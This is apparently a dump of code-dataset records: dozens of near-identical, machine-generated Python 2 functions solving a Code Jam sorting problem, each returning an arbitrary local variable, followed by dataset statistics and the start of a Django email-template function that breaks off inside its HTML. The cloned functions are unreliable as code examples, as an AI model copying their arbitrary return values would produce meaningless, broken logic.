r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') fin.close() fout.close() return numcases def func_7b38f9dcb9554f4d8d1729c2bfa03693(fin, fout): numcases = int(fin.readline()) numcases += 1 for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') fin.close() fout.close() return n def func_de912122c6834754acf515dd175a2d80(fin, fout): numcases = int(fin.readline()) numcases += 1 for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') fin.close() fout.close() return l def func_f792f06ae560490f9ae350ac31e59437(fin, fout): numcases = int(fin.readline()) numcases += 1 for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') fin.close() fout.close() return i def func_b8c341a5743346db958a530831d6e345(fin, fout): numcases = int(fin.readline()) numcases += 1 for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') fin.close() fout.close() return p def func_ea1e1676b33e4e5f92890e74f23d18fb(fin, fout): numcases = int(fin.readline()) numcases += 1 for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') fin.close() fout.close() return cas def func_416971efc512441289de902c27c41f42(fin, fout): numcases = int(fin.readline()) numcases += 1 for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') fin.close() fout.close() return q def func_d9c10c7fd81344ebb043cb4e646f3f46(): fin = open('codejam/test_files/Y12R5P1/A.in', 'r') fout = open('codejam/test_files/Y12R5P1/A.out', 'w') numcases = int(fin.readline()) numcases += 1 for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') fin.close() return n def func_1f84782429e74a9681f51e3605babd9c(): fin = open('codejam/test_files/Y12R5P1/A.in', 'r') fout = open('codejam/test_files/Y12R5P1/A.out', 'w') numcases = int(fin.readline()) numcases += 1 for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') fin.close() return fout def func_527412d5f22147d28f1e808dd128b3c8(): fin = open('codejam/test_files/Y12R5P1/A.in', 'r') fout = open('codejam/test_files/Y12R5P1/A.out', 'w') numcases = int(fin.readline()) numcases += 1 for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') fin.close() return r def func_2b3180e566e14ac58a92e2217b2ff1d5(): fin = open('codejam/test_files/Y12R5P1/A.in', 'r') fout = open('codejam/test_files/Y12R5P1/A.out', 'w') numcases = int(fin.readline()) numcases += 1 for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') fin.close() return q def func_754332296cda4a1e98be8ce7b3b57259(): fin = open('codejam/test_files/Y12R5P1/A.in', 'r') fout = open('codejam/test_files/Y12R5P1/A.out', 'w') numcases = int(fin.readline()) numcases += 1 for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') fin.close() return cas def func_949bcf9f570a467fa08af53bd579e7a1(): fin = open('codejam/test_files/Y12R5P1/A.in', 'r') fout = open('codejam/test_files/Y12R5P1/A.out', 'w') numcases = int(fin.readline()) numcases += 1 for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') fin.close() return fin def func_aae2674a278342aca52591eb2af488e3(): fin = open('codejam/test_files/Y12R5P1/A.in', 'r') fout = open('codejam/test_files/Y12R5P1/A.out', 'w') numcases = int(fin.readline()) numcases += 1 for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') fin.close() return p def func_b7431f65782d451994f97941ee65869e(): fin = open('codejam/test_files/Y12R5P1/A.in', 'r') fout = open('codejam/test_files/Y12R5P1/A.out', 'w') numcases = int(fin.readline()) numcases += 1 for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') fin.close() return numcases def func_a6bceddc975547138546021843663aab(): fin = open('codejam/test_files/Y12R5P1/A.in', 'r') fout = open('codejam/test_files/Y12R5P1/A.out', 'w') numcases = int(fin.readline()) numcases += 1 for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') fin.close() return i def func_11128f9dbbf9483b8563cd37874e41ff(): fin = open('codejam/test_files/Y12R5P1/A.in', 'r') fout = open('codejam/test_files/Y12R5P1/A.out', 'w') numcases = int(fin.readline()) numcases += 1 for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') fin.close() return l def func_39878b0c73514588a53fa52e0d1feac5(fin): fout = open('codejam/test_files/Y12R5P1/A.out', 'w') numcases = int(fin.readline()) numcases += 1 for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') fin.close() fout.close() return fout def func_e91a81a0747b475cbe1833cdc0a4d7ce(fin): fout = open('codejam/test_files/Y12R5P1/A.out', 'w') numcases = int(fin.readline()) numcases += 1 for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') fin.close() fout.close() return numcases def func_8ca6d1fa9055407187d872b4f9b57ac0(fin): fout = open('codejam/test_files/Y12R5P1/A.out', 'w') numcases = int(fin.readline()) numcases += 1 for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') fin.close() fout.close() return p def func_855aad7e28fb43398948e485133fd2a4(fin): fout = open('codejam/test_files/Y12R5P1/A.out', 'w') numcases = int(fin.readline()) numcases += 1 for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') fin.close() fout.close() return n def func_0a355e6fde834fa3bcfe59b4da2331ed(fin): fout = open('codejam/test_files/Y12R5P1/A.out', 'w') numcases = int(fin.readline()) numcases += 1 for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') fin.close() fout.close() return cas def func_ee70eb7abfdf4841b58907304a03f298(fin): fout = open('codejam/test_files/Y12R5P1/A.out', 'w') numcases = int(fin.readline()) numcases += 1 for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') fin.close() fout.close() return q def func_05083d8581b84b0b87d2e2ddab242171(fin): fout = open('codejam/test_files/Y12R5P1/A.out', 'w') numcases = int(fin.readline()) numcases += 1 for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') fin.close() fout.close() return i def func_f25722072a8f4876aa8b80e4b841b801(fin): fout = open('codejam/test_files/Y12R5P1/A.out', 'w') numcases = int(fin.readline()) numcases += 1 for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') fin.close() fout.close() return r def func_9d03477ff30e45238def6623de2bad18(fin): fout = open('codejam/test_files/Y12R5P1/A.out', 'w') numcases = int(fin.readline()) numcases += 1 for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') fin.close() fout.close() return l def func_ef9640560b1945119b9b5654d49104f1(): fin = open('codejam/test_files/Y12R5P1/A.in', 'r') fout = open('codejam/test_files/Y12R5P1/A.out', 'w') numcases = int(fin.readline()) numcases += 1 for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') fin.close() fout.close() return numcases def func_97b1f1b33aa64ff5a9e0d4c326efaa93(): fin = open('codejam/test_files/Y12R5P1/A.in', 'r') fout = open('codejam/test_files/Y12R5P1/A.out', 'w') numcases = int(fin.readline()) numcases += 1 for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') fin.close() fout.close() return cas def func_5776daf60ac5485db62ceba2e5329a55(): fin = open('codejam/test_files/Y12R5P1/A.in', 'r') fout = open('codejam/test_files/Y12R5P1/A.out', 'w') numcases = int(fin.readline()) numcases += 1 for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') fin.close() fout.close() return i def func_352d648bf4ff492b8932df9b7a7a1cbf(): fin = open('codejam/test_files/Y12R5P1/A.in', 'r') fout = open('codejam/test_files/Y12R5P1/A.out', 'w') numcases = int(fin.readline()) numcases += 1 for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') fin.close() fout.close() return r def func_6ed9946799ca4029a07c40a7347e8bd6(): fin = open('codejam/test_files/Y12R5P1/A.in', 'r') fout = open('codejam/test_files/Y12R5P1/A.out', 'w') numcases = int(fin.readline()) numcases += 1 for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') fin.close() fout.close() return q def func_949d3ff979694301b8bd92af6a5a227f(): fin = open('codejam/test_files/Y12R5P1/A.in', 'r') fout = open('codejam/test_files/Y12R5P1/A.out', 'w') numcases = int(fin.readline()) numcases += 1 for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') fin.close() fout.close() return p def func_7abbf1203a68418eabdb956b85777ac9(): fin = open('codejam/test_files/Y12R5P1/A.in', 'r') fout = open('codejam/test_files/Y12R5P1/A.out', 'w') numcases = int(fin.readline()) numcases += 1 for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') fin.close() fout.close() return n def func_7d877872ec86464e8d4b210bc2e079b6(): fin = open('codejam/test_files/Y12R5P1/A.in', 'r') fout = open('codejam/test_files/Y12R5P1/A.out', 'w') numcases = int(fin.readline()) numcases += 1 for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') fin.close() fout.close() return l def func_f0e0f71ce01b459eaddfd408fe29684e(): fin = open('codejam/test_files/Y12R5P1/A.in', 'r') fout = open('codejam/test_files/Y12R5P1/A.out', 'w') numcases = int(fin.readline()) numcases += 1 for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') fin.close() fout.close() return fin def func_33c1371d584a41c2a90f78263c7b0b39(): fin = open('codejam/test_files/Y12R5P1/A.in', 'r') fout = open('codejam/test_files/Y12R5P1/A.out', 'w') numcases = int(fin.readline()) numcases += 1 for cas in xrange(1, numcases): fout.write('Case #' + str(cas) + ':') n = int(fin.readline()) l = map(float, fin.readline().split()) p = map(float, fin.readline().split()) q = [(p[i] / l[i]) for i in xrange(n)] r = [(q[i], -i) for i in xrange(n)] r.sort() r.reverse() for i in r: fout.write(' ' + str(-i[1])) fout.write('\n') fin.close() fout.close() return fout
28.929166
86
0.529871
16,623
114,762
3.634242
0.020514
0.140386
0.06694
0.058283
0.843326
0.842879
0.842879
0.842879
0.842879
0.842879
0
0.081905
0.277095
114,762
3,966
87
28.93646
0.646284
0
0
0.913493
0
0
0.044797
0.030088
0
0
0
0
0
1
0.085621
false
0
0.00059
0
0.171833
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
688f71be50c9f5c27c2f2c1d8536ac5fe0346ee0
22,608
py
Python
src/users/email.py
patelgaurank/SocialSponsorDjangoAPI
2c3a8933750d6a78e18de7068ac55e861318aa79
[ "MIT" ]
null
null
null
src/users/email.py
patelgaurank/SocialSponsorDjangoAPI
2c3a8933750d6a78e18de7068ac55e861318aa79
[ "MIT" ]
null
null
null
src/users/email.py
patelgaurank/SocialSponsorDjangoAPI
2c3a8933750d6a78e18de7068ac55e861318aa79
[ "MIT" ]
null
null
null
def emailbody(nameto='',msg='',emailto=''): txt1 = '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional //EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><!--[if IE]><html xmlns="http://www.w3.org/1999/xhtml" class="ie"><![endif]--><!--[if !IE]><!--><html style="margin: 0;padding: 0;" xmlns="http://www.w3.org/1999/xhtml"><!--<![endif]--><head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title></title> <!--[if !mso]><!--><meta http-equiv="X-UA-Compatible" content="IE=edge" /><!--<![endif]--> <meta name="viewport" content="width=device-width" /><style type="text/css"> @media only screen and (min-width: 620px){.wrapper{min-width:600px !important}.wrapper h1{}.wrapper h1{font-size:24px !important;line-height:32px !important}.wrapper h2{}.wrapper h2{font-size:18px !important;line-height:26px !important}.wrapper h3{}.column{}.wrapper .size-8{font-size:8px !important;line-height:14px !important}.wrapper .size-9{font-size:9px !important;line-height:16px !important}.wrapper .size-10{font-size:10px !important;line-height:18px !important}.wrapper .size-11{font-size:11px !important;line-height:19px !important}.wrapper .size-12{font-size:12px !important;line-height:19px !important}.wrapper .size-13{font-size:13px !important;line-height:21px !important}.wrapper .size-14{font-size:14px !important;line-height:21px !important}.wrapper .size-15{font-size:15px !important;line-height:23px !important}.wrapper .size-16{font-size:16px !important;line-height:24px !important}.wrapper .size-17{font-size:17px !important;line-height:26px !important}.wrapper .size-18{font-size:18px !important;line-height:26px !important}.wrapper .size-20{font-size:20px !important;line-height:28px !important}.wrapper .size-22{font-size:22px !important;line-height:31px !important}.wrapper .size-24{font-size:24px !important;line-height:32px !important}.wrapper .size-26{font-size:26px !important;line-height:34px !important}.wrapper .size-28{font-size:28px !important;line-height:36px !important}.wrapper .size-30{font-size:30px !important;line-height:38px !important}.wrapper .size-32{font-size:32px !important;line-height:40px !important}.wrapper .size-34{font-size:34px !important;line-height:43px !important}.wrapper .size-36{font-size:36px !important;line-height:43px !important}.wrapper .size-40{font-size:40px !important;line-height:47px !important}.wrapper .size-44{font-size:44px !important;line-height:50px !important}.wrapper .size-48{font-size:48px !important;line-height:54px !important}.wrapper .size-56{font-size:56px !important;line-height:60px !important}.wrapper .size-64{font-size:64px !important;line-height:63px !important}} </style> <meta name="x-apple-disable-message-reformatting" /> <style type="text/css"> .main, .mso { margin: 0; padding: 0; } table { border-collapse: collapse; table-layout: fixed; } * { line-height: inherit; } [x-apple-data-detectors] { color: inherit !important; text-decoration: none !important; } .wrapper .footer__share-button a:hover, .wrapper .footer__share-button a:focus { color: #ffffff !important; } .wrapper .footer__share-button a.icon-white:hover, .wrapper .footer__share-button a.icon-white:focus { color: #ffffff !important; } .wrapper .footer__share-button a.icon-black:hover, .wrapper .footer__share-button a.icon-black:focus { color: #000000 !important; } .btn a:hover, .btn a:focus, .footer__share-button a:hover, .footer__share-button a:focus, .email-footer__links a:hover, .email-footer__links a:focus { opacity: 0.8; } .preheader, .header, .layout, .column { transition: width 0.25s ease-in-out, max-width 0.25s ease-in-out; } .preheader td { padding-bottom: 8px; } .layout, div.header { max-width: 400px !important; -fallback-width: 95% !important; width: calc(100% - 20px) !important; } div.preheader { max-width: 360px !important; -fallback-width: 90% !important; width: calc(100% - 60px) !important; } .snippet, .webversion { Float: none !important; } .stack .column { max-width: 400px !important; width: 100% !important; } .fixed-width.has-border { max-width: 402px !important; } .fixed-width.has-border .layout__inner { box-sizing: border-box; } .snippet, .webversion { width: 50% !important; } .ie .btn { width: 100%; } .ie .stack .column, .ie .stack .gutter { display: table-cell; float: none !important; } .ie div.preheader, .ie .email-footer { max-width: 560px !important; width: 560px !important; } .ie .snippet, .ie .webversion { width: 280px !important; } .ie div.header, .ie .layout { max-width: 600px !important; width: 600px !important; } .ie .two-col .column { max-width: 300px !important; width: 300px !important; } .ie .three-col .column, .ie .narrow { max-width: 200px !important; width: 200px !important; } .ie .wide { width: 400px !important; } .ie .stack.fixed-width.has-border, .ie .stack.has-gutter.has-border { max-width: 602px !important; width: 602px !important; } .ie .stack.two-col.has-gutter .column { max-width: 290px !important; width: 290px !important; } .ie .stack.three-col.has-gutter .column, .ie .stack.has-gutter .narrow { max-width: 188px !important; width: 188px !important; } .ie .stack.has-gutter .wide { max-width: 394px !important; width: 394px !important; } .ie .stack.two-col.has-gutter.has-border .column { max-width: 292px !important; width: 292px !important; } .ie .stack.three-col.has-gutter.has-border .column, .ie .stack.has-gutter.has-border .narrow { max-width: 190px !important; width: 190px !important; } .ie .stack.has-gutter.has-border .wide { max-width: 396px !important; width: 396px !important; } .ie .fixed-width .layout__inner { border-left: 0 none white !important; border-right: 0 none white !important; } .ie .layout__edges { display: none; } .mso .layout__edges { font-size: 0; } .layout-fixed-width, .mso .layout-full-width { background-color: #ffffff; } @media only screen and (min-width: 620px) { .column, .gutter { display: table-cell; Float: none !important; vertical-align: top; } div.preheader, .email-footer { max-width: 560px !important; width: 560px !important; } .snippet, .webversion { width: 280px !important; } div.header, .layout, .one-col .column { max-width: 600px !important; width: 600px !important; } .fixed-width.has-border, .fixed-width.x_has-border, .has-gutter.has-border, .has-gutter.x_has-border { max-width: 602px !important; width: 602px !important; } .two-col .column { max-width: 300px !important; width: 300px !important; } .three-col .column, .column.narrow, .column.x_narrow { max-width: 200px !important; width: 200px !important; } .column.wide, .column.x_wide { width: 400px !important; } .two-col.has-gutter .column, .two-col.x_has-gutter .column { max-width: 290px !important; width: 290px !important; } .three-col.has-gutter .column, .three-col.x_has-gutter .column, .has-gutter .narrow { max-width: 188px !important; width: 188px !important; } .has-gutter .wide { max-width: 394px !important; width: 394px !important; } .two-col.has-gutter.has-border .column, .two-col.x_has-gutter.x_has-border .column { max-width: 292px !important; width: 292px !important; } .three-col.has-gutter.has-border .column, .three-col.x_has-gutter.x_has-border .column, .has-gutter.has-border .narrow, .has-gutter.x_has-border .narrow { max-width: 190px !important; width: 190px !important; } .has-gutter.has-border .wide, .has-gutter.x_has-border .wide { max-width: 396px !important; width: 396px !important; } } @supports (display: flex) { @media only screen and (min-width: 620px) { .fixed-width.has-border .layout__inner { display: flex !important; } } } /*** * Mobile Styles * * 1. Overriding inline styles */ @media(max-width: 619px) { .email-flexible-footer .left-aligned-footer .column, .email-flexible-footer .center-aligned-footer, .email-flexible-footer .right-aligned-footer .column { max-width: 100% !important; /* [1] */ text-align: center !important; /* [1] */ width: 100% !important; /* [1] */ } .flexible-footer-logo { margin-left: 0px !important; /* [1] */ margin-right: 0px !important; /* [1] */ } .email-flexible-footer .left-aligned-footer .flexible-footer__share-button__container, .email-flexible-footer .center-aligned-footer .flexible-footer__share-button__container, .email-flexible-footer .right-aligned-footer .flexible-footer__share-button__container { display: inline-block; margin-left: 5px !important; /* [1] */ margin-right: 5px !important; /* [1] */ } .email-flexible-footer__additionalinfo--center { text-align: center !important; /* [1] */ } .email-flexible-footer .left-aligned-footer table, .email-flexible-footer .center-aligned-footer table, .email-flexible-footer .right-aligned-footer table { display: table !important; /* [1] */ width: 100% !important; /* [1] */ } .email-flexible-footer .footer__share-button, .email-flexible-footer .email-footer__additional-info { margin-left: 20px; margin-right: 20px; } } @media only screen and (-webkit-min-device-pixel-ratio: 2), only screen and (min--moz-device-pixel-ratio: 2), only screen and (-o-min-device-pixel-ratio: 2/1), only screen and (min-device-pixel-ratio: 2), only screen and (min-resolution: 192dpi), only screen and (min-resolution: 2dppx) { .fblike { background-image: url(https://i7.createsend1.com/static/eb/master/13-the-blueprint-3/images/fblike@2x.png) !important; } .tweet { background-image: url(https://i8.createsend1.com/static/eb/master/13-the-blueprint-3/images/tweet@2x.png) !important; } .linkedinshare { background-image: url(https://i9.createsend1.com/static/eb/master/13-the-blueprint-3/images/lishare@2x.png) !important; } .forwardtoafriend { background-image: url(https://i10.createsend1.com/static/eb/master/13-the-blueprint-3/images/forward@2x.png) !important; } } @media (max-width: 321px) { .fixed-width.has-border .layout__inner { border-width: 1px 0 !important; } .layout, .stack .column { min-width: 320px !important; width: 320px !important; } .border { display: none; } .has-gutter .border { display: table-cell; } } .mso div { border: 0 none white !important; } .mso .w560 .divider { Margin-left: 260px !important; Margin-right: 260px !important; } .mso .w360 .divider { Margin-left: 160px !important; Margin-right: 160px !important; } .mso .w260 .divider { Margin-left: 110px !important; Margin-right: 110px !important; } .mso .w160 .divider { Margin-left: 60px !important; Margin-right: 60px !important; } .mso .w354 .divider { Margin-left: 157px !important; Margin-right: 157px !important; } .mso .w250 .divider { Margin-left: 105px !important; Margin-right: 105px !important; } .mso .w148 .divider { Margin-left: 54px !important; Margin-right: 54px !important; } .mso .size-8, .ie .size-8 { font-size: 8px !important; line-height: 14px !important; } .mso .size-9, .ie .size-9 { font-size: 9px !important; line-height: 16px !important; } .mso .size-10, .ie .size-10 { font-size: 10px !important; line-height: 18px !important; } .mso .size-11, .ie .size-11 { font-size: 11px !important; line-height: 19px !important; } .mso .size-12, .ie .size-12 { font-size: 12px !important; line-height: 19px !important; } .mso .size-13, .ie .size-13 { font-size: 13px !important; line-height: 21px !important; } .mso .size-14, .ie .size-14 { font-size: 14px !important; line-height: 21px !important; } .mso .size-15, .ie .size-15 { font-size: 15px !important; line-height: 23px !important; } .mso .size-16, .ie .size-16 { font-size: 16px !important; line-height: 24px !important; } .mso .size-17, .ie .size-17 { font-size: 17px !important; line-height: 26px !important; } .mso .size-18, .ie .size-18 { font-size: 18px !important; line-height: 26px !important; } .mso .size-20, .ie .size-20 { font-size: 20px !important; line-height: 28px !important; } .mso .size-22, .ie .size-22 { font-size: 22px !important; line-height: 31px !important; } .mso .size-24, .ie .size-24 { font-size: 24px !important; line-height: 32px !important; } .mso .size-26, .ie .size-26 { font-size: 26px !important; line-height: 34px !important; } .mso .size-28, .ie .size-28 { font-size: 28px !important; line-height: 36px !important; } .mso .size-30, .ie .size-30 { font-size: 30px !important; line-height: 38px !important; } .mso .size-32, .ie .size-32 { font-size: 32px !important; line-height: 40px !important; } .mso .size-34, .ie .size-34 { font-size: 34px !important; line-height: 43px !important; } .mso .size-36, .ie .size-36 { font-size: 36px !important; line-height: 43px !important; } .mso .size-40, .ie .size-40 { font-size: 40px !important; line-height: 47px !important; } .mso .size-44, .ie .size-44 { font-size: 44px !important; line-height: 50px !important; } .mso .size-48, .ie .size-48 { font-size: 48px !important; line-height: 54px !important; } .mso .size-56, .ie .size-56 { font-size: 56px !important; line-height: 60px !important; } .mso .size-64, .ie .size-64 { font-size: 64px !important; line-height: 63px !important; } </style> <!--[if !mso]><!--><style type="text/css"> @import url(https://fonts.googleapis.com/css?family=Merriweather:400italic,400,700,700italic); </style><link href="https://fonts.googleapis.com/css?family=Merriweather:400italic,400,700,700italic" rel="stylesheet" 